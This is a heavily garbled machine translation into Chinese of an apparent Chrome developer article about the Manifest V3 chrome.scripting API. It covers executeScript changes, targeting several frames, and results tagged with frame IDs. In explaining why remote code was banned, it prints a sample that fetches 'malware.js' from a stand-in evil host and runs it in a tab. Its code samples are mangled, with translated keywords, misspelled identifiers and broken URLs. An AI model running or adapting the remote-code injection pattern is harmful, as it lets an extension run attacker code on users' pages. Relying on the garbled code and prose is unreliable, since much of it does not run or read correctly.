介绍Chrome.Scripting.

Manifest V3引入了镀铬的一些变化和扩展平台。在这篇文章中，我们＆＃39; ll探索一个更具显着变化之一的动机和变化：Chrome.scripting API的引入。

由于名称可能会建议，Chrome.Scripting是一个在纸张和样式注入功能负责的清单V3中引入的新命名空间。

创建过去的Chrome扩展的开发人员可能熟悉Tabs API上的清单v2方法，如chrome.tabs.executeScript和Chrome.tabs.insertcss。这些方法允许分别将脚本和样式表注入页面。在Manifest V3中，这些功能已移动到Chrome.Scripting，我们计划将来扩展此API，并将在未来一些新功能。

随着这样的变化，一个往来迎来的第一个问题之一是，＆＃34;为什么？＆＃34;

一些不同的因素导致Chrome团队决定引入新的命名空间进行脚本。首先，标签API是用于功能的垃圾抽屉的一点。其次，我们需要对现有的execuSticrep API进行断开更改。第三，我们知道我们想扩展扩展的脚本功能。这些问题清楚地定义了对新名称空间来满足脚本功能的需求。

过去几年困扰扩展团队的问题之一是Chrome.Tabs API已过载。当第一次推出此API时，它提供的大部分功能与浏览器选项卡的广泛概念有关。然而，即使在那一点，它也是一系列的特征，而多年来，这一系列只有成长。

通过释放时间张平的v3，Tabs API已生长为涵盖基本选项卡管理，选择管理，窗口组织，消息传递，缩放控制，基本导航，脚本以及其他一些较小功能。虽然这些都很重要，但在他们维护平台并考虑开发人员社区的帖子时，开发人员可能有点压倒性。

另一个复杂因素是禁忌允许不太了解。虽然许多其他权限限制对给定API的访问（例如存储器），但此权限有点异常，因为它只授予TAB实例上的敏感属性的扩展访问（并且扩展也影响Windows API）。可以理解的是，许多扩展开发人员错误地认为他们需要此权限，以便访问像Chrome.Tabs.Create等标签API上的方法或更德国Chrome.Tabs.executeScript。从标签API中移动功能有助于清除一些混淆。

在设计清单V3时，我们想要解决的主要问题之一是弊端和＃34启用的恶意软件;远程托管代码＆＃34; - 执行的代码，但不包含在扩展包中。它＆＃39;滥用扩展作者共同执行从远程服务器获取的脚本窃取用户数据，注入恶意软件和避免检测。虽然良好的演员也使用这种能力，但我们最终觉得它仍然太危险了。

扩展可以执行不同的不同方式，但这是这里的相关v2 chrome.tabs.executeScript方法。此方法允许扩展在目标选项卡中执行任意代码串。反过来，这意味着恶意开发人员可以从远程服务器获取任意脚本，并在扩展可以访问的任何页面内执行它。我们知道如果我们想解决我们必须丢弃此功能的远程代码问题。

（async函数（）{让结果=等待获取（＆＃39; https：//evil.example.com/malware.js& n39;）;让脚本=等待结果。Text（）; chrome .tabs。executecript（ {code：script，}）;}）（）;

我们还希望清理其他一些更微妙的问题，用清单V2版本和＃39; S设计，使API成为更抛光和可预测的工具。

虽然我们可以在标签API内更改此方法的签名，但我们觉得在这些破坏的变化和引入新功能之间（在下一节覆盖）之间，每个人都会更容易。

进入清单V3设计过程的另一个考虑因素是将额外的脚本能力引入镀铬和＃39; S扩展平台。具体来说，我们希望为动态内容脚本添加支持，并展开execuSticre方法的功能。

动态内容脚本支持在铬中是一个长期的功能请求。今天，Manifest V2和V3 Chrome扩展只能在其Manifest.json文件中静态声明内容脚本;该平台并不提供在运行时注册新内容脚本，调整内容脚本注册或取消注册内容脚本的方法。

虽然我们知道我们想要在幻灯片中解决此功能请求，但我们的现有API都没有像正确的家一样。我们还考虑与Firefox对齐他们的内容脚本API，但很早，我们确定了对这种方法的几个主要缺点。首先，我们知道我们会有不兼容的签名（例如，丢弃对代码属性的支持）。其次，我们的API具有不同的设计约束（例如，需要注册以超越服务工作者和寿命）。最后，这个命名空间也会将我们归类到内容脚本功能，其中我们更广泛地考虑扩展脚本。

在executecript front上，我们还想扩展此API可以超出所支持的标签版本的内容。更具体地说，我们希望支持功能和参数，更容易瞄准特定帧，并瞄准非＆＃34;标签＆＃34;背景。

向前迈进，我们也考虑到延伸可以与安装的pwas和其他语境相互作用，也可以在概念上映射到＆＃34;标签。＆＃34;

在这篇文章的剩余部分中，我喜欢仔细看看Chrome.Tabs.executeScript和Chrome.Scripting.executeScript之间的相似之处和差异。

虽然考虑到平台如何根据远程托管的代码限制来发展，但我们希望在任意代码执行的原始功率之间找到平衡，并且仅允许静态内容脚本。我们击中的解决方案是允许扩展将函数注入内容脚本，并将值数组传递为参数。

让＆＃39快速查看（超薄）示例。假设我们想在用户点击扩展名＆＃39; s动作按钮（工具栏中的图标）时注入一个脚本。在Manift V2中，我们可以动态构建代码字符串并在当前页面中执行该脚本。

//清单V2扩展Chrome .browseraction .onclicked。 addListener（异步（标签）=＆gt; {Let UserReq =等待获取（＆＃39; https：///example.com/greeg-User.js'）;让用户脚本= await userreq。text（）; chrome。标签。executecript（{// userscript ==＆＃39;警报（＆＃34; hello，＆lt; gend_name＆gt;＆＃34;）＆＃39;代码：用户签到，}）;}）;

虽然表明V3扩展可以＆＃39; t使用捆绑在扩展名的代码，我们的目标是保留一些动力，即为清单v2扩展为启用任意代码块。该函数和参数方法使Chrome Web Store Reviewers，用户和其他有关方面成为可能更准确地评估扩展姿势的风险，同时允许开发人员根据用户设置或应用程序状态修改扩展和＃39; s运行时行为。

//清单v3扩展函数greetUser（名称）{警报（`hello，$ {name}！`）; Chrome .action .clicked。 AddListener（async（tab）=＆gt; {let userreq = await获取（＆＃39; / https：//example.com/user-data.json'）;让用户= await userreq。json（）;让给定名称=用户.givenname ||＆＃39;＆lt;＆＃39;; chrome。; chrome.scripting。executecript（{target：{tabid：tab .id}，func：greetUser，args：[gendname]，}）; }）;

我们还想改进开发人员如何在修订的API中与帧交互。 Manifest V2版本的executecript允许开发人员针对选项卡中的所有帧或选项卡中的特定帧。您可以使用使用chrome.webnavigation.getAllFrams获取选项卡中的所有帧的列表。

//清单V2扩展Chrome .browseraction .onclicked。 addListener（（标签）=＆gt; {Chrome.WebNavigation。GetAllFrame（{塔巴id：选项卡.ID}，（框架）=＆gt; {Let Frame1 =帧[0] .FrameID; Let Frame2 =帧[1] .FrameID; Chrome .tabs。executecript（标签.id，{frameId：frame1，文件：＆＃39; content-script.js＆＃39;，}）; chrome .tabs。executecript（tab.id，{frameId：frame2，文件： ＆＃39; content-script.js＆＃39;，}）;}）;}）;

在Manifest V3中，我们在选项对象中替换了选项对象中的可选FrameId Integer属性，其中包含一个整数的可选FrameIDS数组;这允许开发人员在单个API调用中瞄准多个帧。

//清单V3扩展Chrome。Acction .clicked。 addListener（异步（标签）=＆gt; {让帧=等待Chrome .WebNavigation。GetAllFrames（{Tabid：Tab .ID}）; Let Frame1 =帧[0] .FrameID; Let Frame2 =帧[1] .FrameID; Chrome .Scripting。executecript（{target：{tabid：tab .id，frameids：[frame1，frame2]，}，文件：[＆＃39; content-script.js＆＃39;]，}）;

我们还改善了我们回到脚本注入结果的方式，v＆＃39。 A＆＃34;结果＆＃34;基本上是在脚本中评估的最终陈述。想象它就像调用eval（）时返回的值，或者在Chrome Devtools控制台中执行一块代码，但序列化以跨进程传递结果。

在Manifest V2中，Executecript和InsertCS将返回一系列普通执行结果。如果您只有单个注射点，则这很好，但是在将多个帧中注入到多个帧中时，不会保证结果订单，因此没有办法告诉哪个结果与哪个帧相关联。

对于具体的例子，让＆＃39; s查看由清单v2返回的结果阵列和同一扩展名的清单V3版本。两个版本的扩展名将注入相同的内容脚本和我们＆＃39; ll在同一个演示页面上比较结果。

当我们运行清单v2版本时，我们会返回[1,0,5]的数组。哪个结果对应于主框架，它是iframe？返回值并不告诉我们，所以我们不确定。

//清单V2扩展Chrome .browseraction .onclicked。 addListener（（tab）=＆gt; {Chrome .tabs。executecript（{allframes：true，file：＆＃39; content-script.js＆＃39;，}，（结果）=＆gt; {//结果== [ 1,0,5]用于（令结果结果）{if（结果＆gt; 0）{//与帧做某事......是哪一个？}}}）;}）;

在清单V3版本中，结果现在包含一个结果对象数组而不是仅仅是评估结果的数组，而结果对象清楚地识别每个结果的帧的ID。这使得开发人员可以更容易利用结果并对特定帧采取动作。

//清单V3扩展Chrome。Acction .clicked。 addListener（async（tab）=＆gt; {let结果=等待Chrome .scripting。executecript（{target：{tabid：tab .did，Allframes：True}，文件：[＆＃39; content-script.js＆＃39; ]，}）; //结果== [// {frameId：0，结果：1}，// {frameId：1235，结果：5}，// {frameId：1234，结果：0} //] （结果结果）{if（结果.result＆gt; 0）{控制台。日志（在帧$ {结果.frameID}'）的日志（找到$ {结果} p标签; //发现1 p标签（ s）在框架0 //框架1235}}}}）中找到5个pag（s）;

清单版本颠簸为重新思考和现代化扩展API提供了一个难得的机会。 我们用幻觉V3的目标是通过使延伸更安全的同时提高开发人员体验，改善最终用户体验。 通过介绍Chrome.Scripting在Manifest V3中，我们能够帮助清理标签API，以便为更安全的扩展平台进行重新通知，并为今年晚些时候奠定新的脚本功能的基础。